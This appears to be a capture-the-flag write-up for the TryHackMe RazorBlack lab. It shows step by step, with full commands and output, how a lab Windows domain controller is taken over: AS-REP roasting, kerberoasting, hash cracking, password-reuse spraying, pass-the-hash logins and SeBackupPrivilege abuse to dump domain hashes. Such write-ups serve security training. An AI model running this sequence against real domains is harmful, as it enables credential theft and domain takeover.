TryHackMe RazorBlack
@ Animesh Roy | Sunday, Jul 18, 2021 | 10 minutes read | Update at Sunday, Jul 18, 2021

Overview

RazorBlack
Roomlogo

Task 01

These guys call themselves hackers. Can you show them who’s the boss ??


Task 02: Flag Submission Panel

What is the Domain Name?

  • nmap

    sudo nmap -sV -sC -oN nmap/init 10.10.149.120
    # Nmap 7.91 scan initiated Sun Jul 18 19:35:34 2021 as: nmap -sV -sC -oN nmap/init 10.10.149.120
    Nmap scan report for 10.10.149.120
    Host is up (0.15s latency).
    Not shown: 986 closed ports
    PORT     STATE SERVICE       VERSION
    53/tcp   open  domain        Simple DNS Plus
    88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-18 14:05:57Z)
    111/tcp  open  rpcbind       2-4 (RPC #100000)
    | rpcinfo: 
    ...[snip]...
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
    445/tcp  open  microsoft-ds?
    464/tcp  open  kpasswd5?
    593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp  open  tcpwrapped
    2049/tcp open  mountd        1-3 (RPC #100005)
    3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
    3269/tcp open  tcpwrapped
    3389/tcp open  ms-wbt-server Microsoft Terminal Services
    | rdp-ntlm-info: 
    |   Target_Name: RAZ0RBLACK
    |   NetBIOS_Domain_Name: RAZ0RBLACK
    |   NetBIOS_Computer_Name: HAVEN-DC
    |   DNS_Domain_Name: raz0rblack.thm
    |   DNS_Computer_Name: HAVEN-DC.raz0rblack.thm
    |   Product_Version: 10.0.17763
    |_  System_Time: 2021-07-18T14:06:45+00:00
    | ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm
    | Not valid before: 2021-02-22T15:02:37
    |_Not valid after:  2021-08-24T15:02:37
    |_ssl-date: 2021-07-18T14:06:54+00:00; +2s from scanner time.
    Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    |_clock-skew: mean: 1s, deviation: 0s, median: 1s
    | smb2-security-mode: 
    |   2.02: 
    |_    Message signing enabled and required
    | smb2-time: 
    |   date: 2021-07-18T14:06:47
    |_  start_date: N/A
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Sun Jul 18 19:38:17 2021 -- 1 IP address (1 host up) scanned in 163.34 seconds
    

What is Steven’s Flag?

  • SMB

    SMBMAP

    ┌──(anir0y㉿kali)-[~/share/thm/room/raz0rblack]
    └─$ smbmap -u '' -p '' -H 10.10.149.120                                        2[+] IP: 10.10.149.120:445       Name: 10.10.149.120 
    
  • showmount

    ┌──(anir0y㉿kali)-[~/share/thm/room/raz0rblack]
    └─$ showmount -e 10.10.149.120      
    Export list for 10.10.149.120:
    /users (everyone)
    
  • showmount shows us one dir, let’s mount it to local machine and continue:

    # create a mount dir
    $ mkdir smb
    $ sudo mount -t nfs -o vers=2 10.10.149.120:/users ./smb
    $ sudo -i 
    # read the files 
    # ls -l
    total 2
    -rwx------ 1 4294967294 4294967294 9861 Feb 25 21:54 employee_status.xlsx
    -rwx------ 1 4294967294 4294967294   80 Feb 26 01:01 sbradley.txt
    # cat sbradley.txt
    THM{flag-data}
    
  • there is another file employee_status.xlsx let’s read the content of this file. in my case I used MS office, you can use any office application. Extracted usernames from the xlsx file:

  • content

    daven port
    imogen royce
    tamara vidal
    arthur edwards
    carl ingram
    nolan cassidy
    reza zaydan
    ljudmila vetrova
    rico delgado
    tyson williams
    steven bradley
    chamber lin
    
  • create a users file based on employee list I tried with hashcat to create userlist, but turns out format is First letter of First Name + Last name: i.e. dport for daven port

    $cat user.lst
    dport
    iroyce
    tvidal
    aedwards
    cingram
    ncassidy
    rzaydan
    lvetrova
    rdelgado
    twilliams
    sbradley
    clin
    
  • DNS, let’s map the domain to IP

    $ cat /etc/hosts
    10.10.149.120   raz0rblack raz0rblack.thm
    


What is the zip file’s password?

ASREPRoast

  • let’s go

    $ python3 /opt/impacket/examples/GetNPUsers.py 'raz0rblack.thm/' -usersfile user.lst -no-pass -dc-ip MACHINE_IP -format hashcat -outputfile hashes.asreproast
    
    Impacket v0.9.24.dev1+20210706.140217.6da655ca - Copyright 2021 SecureAuth Corporation
    
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] User lvetrova doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    [-] User sbradley doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    
    # getting the hash
    $ cat hashes.asreproast 
    
    [email protected]:c9a4cd51d976e6b0138462b5f79eaf7b$f932933d4290a95cf38f93c6f87004c025b2a956493479e878e9731b52a7ad63cf89d63113f49c5d97a957448085e403d10c02ca99cf935d9079c293dc26deced316d568d01f221b6c008480011a79c58fb2b89679c765cfdf3e9e73aebe6a61c698ac1e74bc3adb6b8bfa286f72818ddaa8a8b4410643c4088b880ba9543bdbaf4974cde2249be746016f2b0b04c24a46fd85c9536d5f30a57a38f4a8a13a4b4ea554d61d80bd6f93c1cec68ffa263f9e1450e2b3cca940eba1c755518c9411406bd503df48cac7f19f613fe6dfbd3f8ab4e33be309cac8b9edfe5ad961acc0246fd2f98f4fc5f0c15d05c7aa07743c
    
    #bruteforce
    $ hashcat -m 18200 hashes.asreproast rockyou.txt(relative path is /usr/share/wordlists/rockyou.txt)
    
    # cracked hash
    hashcat -m 18200 hashes.asreproast --show                          
    [email protected]:c9a4cd51d976e6b0138462b5f79eaf7b$f932933d4290a95cf38f93c6f87004c025b2a956493479e878e9731b52a7ad63cf89d63113f49c5d97a957448085e403d10c02ca99cf935d9079c293dc26deced316d568d01f221b6c008480011a79c58fb2b89679c765cfdf3e9e73aebe6a61c698ac1e74bc3adb6b8bfa286f72818ddaa8a8b4410643c4088b880ba9543bdbaf4974cde2249be746016f2b0b04c24a46fd85c9536d5f30a57a38f4a8a13a4b4ea554d61d80bd6f93c1cec68ffa263f9e1450e2b3cca940eba1c755518c9411406bd503df48cac7f19f613fe6dfbd3f8ab4e33be309cac8b9edfe5ad961acc0246fd2f98f4fc5f0c15d05c7aa07743c:roastpotatoes
    
  • trying loggin in with new creds (SMB)

    $ smbmap -H MACHINE_IP -u twilliams -p roastpotatoes
    [+] IP: MACHINE_IP:445        Name: MACHINE_IP
       Disk                                                    Permissions     Comment
       ----                                                    -----------     -------
       ADMIN$                                                  NO ACCESS       Remote Admin
       C$                                                      NO ACCESS       Default share
       IPC$                                                    READ ONLY       Remote IPC
       NETLOGON                                                READ ONLY       Logon server share
       SYSVOL                                                  READ ONLY       Logon server share
       trash                                                   NO ACCESS       Files Pending for deletion
    
  • we can read IPC$, that means we can bruteforce ussernames:

    $ crackmapexec smb $(cat hosts) -u 'twilliams' -p 'roastpotatoes' --rid-brute
    [*] First time use detected
    [*] Creating home directory structure
    [*] Creating default workspace
    [*] Initializing SSH protocol database
    [*] Initializing WINRM protocol database
    [*] Initializing SMB protocol database
    [*] Initializing MSSQL protocol database
    [*] Initializing LDAP protocol database
    [*] Copying default configuration file
    [*] Generating SSL certificate
    SMB         10.10.149.120   445    HAVEN-DC         [*] Windows 10.0 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
    SMB         10.10.149.120   445    HAVEN-DC         [+] raz0rblack.thm\twilliams:roastpotatoes 
    SMB         10.10.149.120   445    HAVEN-DC         [+] Brute forcing RIDs
    SMB         10.10.149.120   445    HAVEN-DC         498: RAZ0RBLACK\Enterprise Read-only Domain Controllers (SidTypeGroup)                                                                                                
    SMB         10.10.149.120   445    HAVEN-DC         500: RAZ0RBLACK\Administrator (SidTypeUser)
    SMB         10.10.149.120   445    HAVEN-DC         501: RAZ0RBLACK\Guest (SidTypeUser)
    SMB         10.10.149.120   445    HAVEN-DC         502: RAZ0RBLACK\krbtgt (SidTypeUser)
    SMB         10.10.149.120   445    HAVEN-DC         512: RAZ0RBLACK\Domain Admins (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         513: RAZ0RBLACK\Domain Users (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         514: RAZ0RBLACK\Domain Guests (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         515: RAZ0RBLACK\Domain Computers (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         516: RAZ0RBLACK\Domain Controllers (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         517: RAZ0RBLACK\Cert Publishers (SidTypeAlias)
    SMB         10.10.149.120   445    HAVEN-DC         518: RAZ0RBLACK\Schema Admins (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         519: RAZ0RBLACK\Enterprise Admins (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         520: RAZ0RBLACK\Group Policy Creator Owners (SidTypeGroup)                                                                                                            
    SMB         10.10.149.120   445    HAVEN-DC         521: RAZ0RBLACK\Read-only Domain Controllers (SidTypeGroup)                                                                                                           
    SMB         10.10.149.120   445    HAVEN-DC         522: RAZ0RBLACK\Cloneable Domain Controllers (SidTypeGroup)                                                                                                           
    SMB         10.10.149.120   445    HAVEN-DC         525: RAZ0RBLACK\Protected Users (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         526: RAZ0RBLACK\Key Admins (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         527: RAZ0RBLACK\Enterprise Key Admins (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         553: RAZ0RBLACK\RAS and IAS Servers (SidTypeAlias)
    SMB         10.10.149.120   445    HAVEN-DC         571: RAZ0RBLACK\Allowed RODC Password Replication Group (SidTypeAlias)                                                                                                
    SMB         10.10.149.120   445    HAVEN-DC         572: RAZ0RBLACK\Denied RODC Password Replication Group(SidTypeAlias)                                                                                                 
    SMB         10.10.149.120   445    HAVEN-DC         1000: RAZ0RBLACK\HAVEN-DC$ (SidTypeUser)
    SMB         10.10.149.120   445    HAVEN-DC         1101: RAZ0RBLACK\DnsAdmins (SidTypeAlias)
    SMB         10.10.149.120   445    HAVEN-DC         1102: RAZ0RBLACK\DnsUpdateProxy (SidTypeGroup)
    SMB         10.10.149.120   445    HAVEN-DC         1106: RAZ0RBLACK\xyan1d3 (SidTypeUser)
    SMB         10.10.149.120   445    HAVEN-DC         1107: RAZ0RBLACK\lvetrova (SidTypeUser)
    SMB         10.10.149.120   445    HAVEN-DC         1108: RAZ0RBLACK\sbradley (SidTypeUser)
    SMB         10.10.149.120   445    HAVEN-DC         1109: RAZ0RBLACK\twilliams (SidTypeUser)
    
  • new users add them to a file

    xyan1d3
    lvetrova
    sbradley
    twilliams
    
  • Password:

    roastpotatoes
    
  • checking for password reuse:

    $ crackmapexec smb $(cat hosts) -u user.lst  -p pass.lst                                             130
    SMB         10.10.149.120   445    HAVEN-DC         [*] Windows 10.0 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
    SMB         10.10.149.120   445    HAVEN-DC         [-] raz0rblack.thm\xyan1d3:roastpotatoes STATUS_LOGON_FAILURE 
    SMB         10.10.149.120   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:roastpotatoes STATUS_LOGON_FAILURE 
    SMB         10.10.149.120   445    HAVEN-DC         [-] raz0rblack.thm\sbradley:roastpotatoes STATUS_PASSWORD_MUST_CHANGE 
    
  • let’s change the password for sbradley

    $ smbpasswd -r $(cat hosts) -U sbradley                                                                    1Old SMB password: `roastpotatoes`
    New SMB password: `Passw0rd!`
    Retype new SMB password: `Passw0rd!`
    Password changed for user sbradley #password is set to our password
    
  • Enumerate SMB with new password:

    smbmap -H MACHINE_IP -u sbradley -p 'Passw0rd!'
    [+] IP: MACHINE_IP:445        Name: MACHINE_IP
         Disk                                                    Permissions     Comment
         ----                                                    -----------     -------
         ADMIN$                                                  NO ACCESS       Remote Admin
         C$                                                      NO ACCESS       Default share
         IPC$                                                    READ ONLY       Remote IPC
         NETLOGON                                                READ ONLY       Logon server share
         SYSVOL                                                  READ ONLY       Logon server share
         trash                                                   READ ONLY       Files Pending for deletion
    
    root@kali$ smbclient //MACHINE_IP/trash --user='sbradley%Passw0rd!'
    Try "help" to get a list of possible commands.
    smb: \> dir
    .                                   D        0  Tue Mar 16 02:01:28 2021
    ..                                  D        0  Tue Mar 16 02:01:28 2021
    chat_log_20210222143423.txt         A     1340  Thu Feb 25 14:29:05 2021
    experiment_gone_wrong.zip           A 18927164  Tue Mar 16 02:02:20 2021
    sbradley.txt                        A       37  Sat Feb 27 14:24:21 2021
    
    smb: \> recurse on
    smb: \> prompt off
    smb: \> mget *
    [...]
    
  • Cracking the zip and looking at contents:

    # convert to hash that john can crack
    root@kali$ zip2john experiment_gone_wrong.zip > hash
    
    
    $ john --wordlist=/usr/share/wordlists/rockyou.txt hash
    Using default input encoding: UTF-8
    Loaded 1 password hash (PKZIP [32/64])
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    electromagnetismo (experiment_gone_wrong.zip)
    1g 0:00:00:00 DONE (2021-07-16 17:05) 1.408g/s 11803Kp/s 11803Kc/s 11803KC/s elephantmeee..elanore67
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed
    
    root@kali$ unzip experiment_gone_wrong.zip
    Archive:  experiment_gone_wrong.zip
    [experiment_gone_wrong.zip] system.hive password: electromagnetismo
    inflating: system.hive
    inflating: ntds.dit
    


What is Ljudmila’s Hash?

  • Extract hashes

    python3 /opt/impacket/examples/secretsdump.py -system system.hive -ntds ntds.dit LOCAL > hashes.txt
    
  • We need to extract all NTHASHes

    cat hashes.txt| cut -d ":" -f 4 > pothashes.txt  
    
  • After that you need to remove the first few lines, so you only have hashes in there. Then you can bruteforce and get the correct hash:

    crackmapexec smb MACHINE_IP -u lvetrova -H pothashes.txt
    ...[snip]...
    SMB         MACHINE_IP    445    HAVEN-DC         [+] raz0rblack.thm\lvetrova f220d3988deb3f516c73f40ee16c431d
    

What is Ljudmila’s Flag?

  • Login: (with hash we found earlier)

    evil-winrm -i MACHINE_IP -u lvetrova -H f220d3988deb3f516c73f40ee16c431d
    *Evil-WinRM* PS C:\Users\lvetrova\Documents> whoami
    raz0rblack\lvetrova
    
    *Evil-WinRM* PS C:\Users\lvetrova\Documents> cd ..
    
    *Evil-WinRM* PS C:\Users\lvetrova> $Credential = Import-Clixml -Path ".\lvetrova.xml"
    
    *Evil-WinRM* PS C:\Users\lvetrova> $Credential.GetNetworkCredential().password
    THM{flag-data}
    

    img


What is Xyan1d3’s password?

  • Kerberoasting with pass-the-hash with lvetrovas creds:

    python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip MACHINE_IP raz0rblack.thm/lvetrova -hashes f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -outputfile hashes.kerberoast
    
    ServicePrincipalName                   Name     MemberOf                                                    PasswordLastSet             LastLogon  Delegation 
    -------------------------------------  -------  ----------------------------------------------------------  --------------------------  ---------  ----------
    HAVEN-DC/xyan1d3.raz0rblack.thm:60111  xyan1d3  CN=Remote Management Users,CN=Builtin,DC=raz0rblack,DC=thm  2021-02-23 10:17:17.715160  <never>
    
    root@kali$ hashcat -m 13100 hashes.kerberoast rockyou.txt(relative path: /usr/share/wordlist/rockyou.txt)
    # cracked password: cyanide9amine5628
    


What is Xyan1d3’s Flag?

  • login:

    $ evil-winrm -i MACHINE_IP -u xyan1d3 -p cyanide9amine5628
    *Evil-WinRM* PS C:\Users\xyan1d3\Documents> cd ..
    *Evil-WinRM* PS C:\Users\xyan1d3> $Credential = Import-Clixml -Path "xyan1d3.xml"
    *Evil-WinRM* PS C:\Users\xyan1d3> $Credential.GetNetworkCredential().password
    LOL here it is -> THM{62ca7e0b901aa8f0b233cade0839b5bb}
    

What is the root Flag?

  • check privileges:

    *Evil-WinRM* PS C:\Users\xyan1d3> whoami /all
    
    [...]
    
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name                Description                    State
    ============================= ============================== =======
    SeMachineAccountPrivilege     Add workstations to domain     Enabled
    SeBackupPrivilege             Back up files and directories  Enabled
    SeRestorePrivilege            Restore files and directories  Enabled
    SeShutdownPrivilege           Shut down the system           Enabled
    SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
    SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
    
  • Abuse Backup Privs (important: diskshadow.txt has a space after each line):

    # create `diskshadow.txt` file content are follwoing
    root@kali$ cat diskshadow.txt
    set metadata C:\tmp\tmp.cabs 
    set context persistent nowriters 
    add volume c: alias someAlias 
    create 
    expose %someAlias% h: 
    
    *Evil-WinRM* PS C:\Users\xyan1d3> mkdir C:\tmp 
    *Evil-WinRM* PS C:\tmp> upload diskshadow.txt
    
    *Evil-WinRM* PS C:\tmp> diskshadow.exe /s c:\tmp\diskshadow.txt
    Microsoft DiskShadow version 1.0
    Copyright (C) 2013 Microsoft Corporation
    On computer:  HAVEN-DC,  7/16/2021 3:45:19 PM
    
    -> set metadata C:\tmp\tmp.cabs
    -> set context persistent nowriters
    -> add volume c: alias someAlias
    -> create
    Alias someAlias for shadow ID {29b531e8-3c00-49f9-925d-5e1e3937af13} set as environment variable.
    Alias VSS_SHADOW_SET for shadow set ID {2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6} set as environment variable.
    
    Querying all shadow copies with the shadow copy set ID {2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6}
    
         * Shadow copy ID = {29b531e8-3c00-49f9-925d-5e1e3937af13}               %someAlias%
                   - Shadow copy set: {2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6}       %VSS_SHADOW_SET%
                   - Original count of shadow copies = 1
                   - Original volume name: \\?\Volume{115c1f55-0000-0000-0000-602200000000}\ [C:\]
                   - Creation time: 7/16/2021 3:45:20 PM
                   - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                   - Originating machine: HAVEN-DC.raz0rblack.thm
                   - Service machine: HAVEN-DC.raz0rblack.thm
                   - Not exposed
                   - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                   - Attributes:  No_Auto_Release Persistent No_Writers Differential
    
    Number of shadow copies listed: 1
    -> expose %someAlias% h:
    -> %someAlias% = {29b531e8-3c00-49f9-925d-5e1e3937af13}
    The shadow copy was successfully exposed as h:\.
    

    ref:

  • Get dll’s to abuse Backup Privs:

    root@kali$ wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
    
    root@kali$ wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
    
  • Upload, import, abuse:

    *Evil-WinRM* PS C:\tmp> upload SeBackupPrivilegeUtils.dll
    
    *Evil-WinRM* PS C:\tmp> upload SeBackupPrivilegeCmdLets.dll
    
    *Evil-WinRM* PS C:\tmp> import-module .\SeBackupPrivilegeUtils.dll
    
    *Evil-WinRM* PS C:\tmp> import-module .\SeBackupPrivilegeCmdLets.dll
    
    *Evil-WinRM* PS C:\tmp> copy-filesebackupprivilege h:\windows\ntds\ntds.dit C:\tmp\ntds.dit -overwrite
    
    *Evil-WinRM* PS C:\tmp> reg save HKLM\SYSTEM C:\tmp\system
    
    *Evil-WinRM* PS C:\tmp> download ntds.dit
    
    *Evil-WinRM* PS C:\tmp> download system
    
  • Dump the hashes:

    root@kali$ python3 /opt/impacket/examples/secretsdump.py -system system -ntds ntds.dit LOCAL
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:26cc019045071ea8ad315bd764c4f5c6:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fa3c456268854a917bd17184c85b4fd1:::
    raz0rblack.thm\xyan1d3:1106:aad3b435b51404eeaad3b435b51404ee:bf11a3cbefb46f7194da2fa190834025:::
    raz0rblack.thm\lvetrova:1107:aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d:::
    raz0rblack.thm\sbradley:1108:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::
    raz0rblack.thm\twilliams:1109:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::
    [*] Kerberos keys from ntds.dit 
    Administrator:aes256-cts-hmac-sha1-96:ab77c0dd6f5a28b63c4ae5f0eb89ad48f3ed43d52dc42f1dca2e99d8fc9cdbbf
    Administrator:aes128-cts-hmac-sha1-96:81a749369e929b7f1731489b12a49df8
    Administrator:des-cbc-md5:d3b646b65bceb5c7
    HAVEN-DC$:aes256-cts-hmac-sha1-96:d6b41169e02a4543b90a8c697b167948413397c30f1bf5f0199a54f387358fc6
    HAVEN-DC$:aes128-cts-hmac-sha1-96:5ed5bd57484ca826e09afa6e5b944c27
    HAVEN-DC$:des-cbc-md5:f71a0dc89b9d079d
    krbtgt:aes256-cts-hmac-sha1-96:eed4acbdf1b6cc2b3c1aef992a8cea74d8b0c4ad5b4deecf47c57c4d9465caf5
    krbtgt:aes128-cts-hmac-sha1-96:3dbbd202aa0343d1b8df99785d2befbb
    krbtgt:des-cbc-md5:857a46f13e91eae3
    raz0rblack.thm\xyan1d3:aes256-cts-hmac-sha1-96:6de380d21ae165f55e7520ee3c4a81417bf6a25b17f72ce119083846d89a031f
    raz0rblack.thm\xyan1d3:aes128-cts-hmac-sha1-96:9f5a0114b2c18ea63a32a1b8553d4f61
    raz0rblack.thm\xyan1d3:des-cbc-md5:e9a1a46223cd8975
    raz0rblack.thm\lvetrova:aes256-cts-hmac-sha1-96:3809e38e24ecb746dc0d98e2b95f39fc157de38a9081b3973db5be4c25d5ad39
    raz0rblack.thm\lvetrova:aes128-cts-hmac-sha1-96:3676941361afe1800b8ab5d5a15bd839
    raz0rblack.thm\lvetrova:des-cbc-md5:385d6e1f1cc17fb6
    raz0rblack.thm\sbradley:aes256-cts-hmac-sha1-96:ddd43169c2235d3d2134fdb2ff4182abdb029a20724e679189a755014e68bab5
    raz0rblack.thm\sbradley:aes128-cts-hmac-sha1-96:7cdf6640a975c86298b9f48000047580
    raz0rblack.thm\sbradley:des-cbc-md5:83fe3e584f4a5bf8
    raz0rblack.thm\twilliams:aes256-cts-hmac-sha1-96:05bac51a4b8888a484e0fa1400d8f507b195c4367198024c6806d8eb401cb559
    raz0rblack.thm\twilliams:aes128-cts-hmac-sha1-96:a37656829f443e3fe2630aa69af5cb5a
    raz0rblack.thm\twilliams:des-cbc-md5:01e958b0ea6edf07
    
  • Get admin flag:

    root@kali$ evil-winrm -i 10.10.2.26 -u administrator -H 9689931bed40ca5a2ce1218210177f0c
    
    *Evil-WinRM* PS C:\users\administrator\Documents> cd ..
    
    *Evil-WinRM* PS C:\users\administrator> type root.xml
    <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
    <Obj RefId="0">
    <TN RefId="0">
         <T>System.Management.Automation.PSCredential</T>
         <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
         <S N="UserName">Administrator</S>
         <SS N="Password">44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a</SS>
    </Obj>
    </Objs>
    
  • Copy the password and convert from hex to get the flag:

    root@kali$ python3                                                                          
    Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
    [GCC 10.2.1 20210110] on linux
    Type "help", "copyright", "credits" or "license" for more information.
    
    >>> s = "44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a"
    
    >>> print(bytes.fromhex(s).decode('ASCII'))
    Damn you are a genius.
    But, I apologize for cheating you like this.
    
    Here is your Root Flag
    THM{1b4f46cc4fba46348273d18dc91da20d}
    


What is Tyson’s Flag?

  • As Administrator:

    *Evil-WinRM* PS C:\users\twilliams> type .\definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe
    THM{5144f2c4107b7cab04916724e3749fb0}
    

What is the complete top secret?

  • Enumerate all folders and find top secret path:

    *Evil-WinRM* PS C:\> cd "C:\Program Files\Top Secret"
    *Evil-WinRM* PS C:\Program Files\Top Secret> dir
    Directory: C:\Program Files\Top Secret
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -a----        2/25/2021  10:13 AM         449195 top_secret.png
    
    
    *Evil-WinRM* PS C:\Program Files\Top Secret> download top_secret.png
    

Open the image in firefox and see the text “I dont have much time […] the way to exit vim is :w”. He died before he could end his sentence, so the answer for the last question is: :wq.


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